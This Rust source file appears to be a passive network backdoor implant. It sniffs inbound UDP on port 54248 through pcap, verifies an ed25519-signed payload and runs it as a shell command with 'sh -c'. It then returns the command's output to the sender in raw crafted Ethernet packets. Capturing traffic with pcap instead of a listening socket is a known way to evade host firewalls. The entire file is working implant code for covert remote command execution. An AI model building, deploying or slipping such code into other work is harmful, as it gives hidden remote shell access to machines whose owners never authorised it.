use std::os::unix::ffi::OsStrExt;
use std::process::Stdio;
use std::{ffi::OsStr, sync::Arc};

use anyhow::{anyhow, bail, Context};
use ed25519_dalek::{PublicKey, Signature, Verifier};
use pcap_sys::{self, packets::EthernetPacket};
use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
use tokio_stream::StreamExt;

const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    simple_logger::SimpleLogger::new().init()?;

    let pubkey =
        Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);

    log::info!("Pubkey is good");

    let mut interfaces = pcap_sys::PcapDevIterator::new()?;

    let interface_name = interfaces
        .find(|eth| eth.starts_with("eth"))
        .ok_or(anyhow!("Could not get an ethernet interface"))?;

    let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;

    interface.set_buffer_size(8192)?;
    interface.set_non_blocking(true)?;
    interface.set_promisc(false)?;
    interface.set_timeout(10)?;

    let mut interface = interface.activate()?;

    interface.set_filter("inbound and udp port 54248", true, None)?;

    if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
        bail!("interface does not support ethernet")
    }

    enum EventType {
        Packet(Result<EthernetPacket, pcap_sys::error::Error>),
        Send(EthernetPacket),
    }

    let mut packets = interface.stream()?;
    let (packet_sender, mut packets_to_send) = mpsc::channel(64);

    while let Some(evt) = tokio::select! {
        v = packets.next() => v.map(EventType::Packet),
        v = packets_to_send.recv() => v.map(EventType::Send)
    } {
        match evt {
            EventType::Packet(pkt) => {
                if let Ok(pkt) = pkt {
                    let packet_sender_clone = packet_sender.clone();
                    let pubkey_clone = pubkey.clone();
                    tokio::spawn(async move {
                        if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await
                        {
                            log::warn!("Error handling packet: {e}");
                        }
                    });
                }
            }
            EventType::Send(pkt) => {
                packets.sendpacket(pkt.pkt())?;
            }
        }
    }

    Ok(())
}

async fn handle_command(
    pubkey: Arc<PublicKey>,
    eth: EthernetPacket,
    send_response: mpsc::Sender<EthernetPacket>,
) -> anyhow::Result<()> {
    use pcap_sys::packets::*;
    let eth_pkt = eth.pkt();
    let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
    let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;

    let data = udp_pkt.get_data();

    if data.len() < 65 {
        bail!("Packet was too short")
    }

    let signature: [u8; 64] = data[..64]
        .try_into()
        .context("could not get signature from command")?;

    let signature = Signature::from(signature);

    let cmd = &data[64..];

    pubkey
        .verify(cmd, &signature)
        .context("message provided was unauthenticated")?;

    let cmd = OsStr::from_bytes(cmd);

    log::info!("Received command to execute: {cmd:?}");

    let child = process::Command::new("sh")
        .arg("-c")
        .arg(cmd)
        .stdin(Stdio::null())
        .stdout(Stdio::piped())
        .stderr(Stdio::piped())
        .spawn()?;

    let mut stdout = child
        .stdout
        .ok_or(anyhow!("could not get child process stdout"))?;
    let mut stderr = child
        .stderr
        .ok_or(anyhow!("could not get child process stdout"))?;

    enum Output {
        Out,
        Err,
    }

    let mut stdout_buffer = [0u8; 1024];
    let mut stderr_buffer = [0u8; 1024];

    loop {
        let (out_type, Ok(len)) = tokio::select! {
            v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
            v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
        } else { continue; };

        if len == 0 {
            break;
        }

        let msg = &match out_type {
            Output::Err => stderr_buffer,
            Output::Out => stdout_buffer,
        }[..len];
        let port = match out_type {
            Output::Err => 54249,
            Output::Out => 54248,
        };

        let udp_packet = UDPPacket::construct(54248, port, msg);
        let ip_packet = IPv4Packet::construct(
            ip_pkt.dest_ip(),
            ip_pkt.source_ip(),
            &Layer4Packet::UDP(udp_packet),
        );
        let eth_packet = EthernetPacket::construct(
            *eth_pkt.destination_address(),
            *eth_pkt.source_address(),
            &Layer3Packet::IPv4(ip_packet),
        );

        if let Err(e) = send_response.send(eth_packet).await {
            log::warn!("Could not send response packet: {e:?}");
        }
    }

    log::info!("Done executing command {cmd:?}");

    Ok(())
}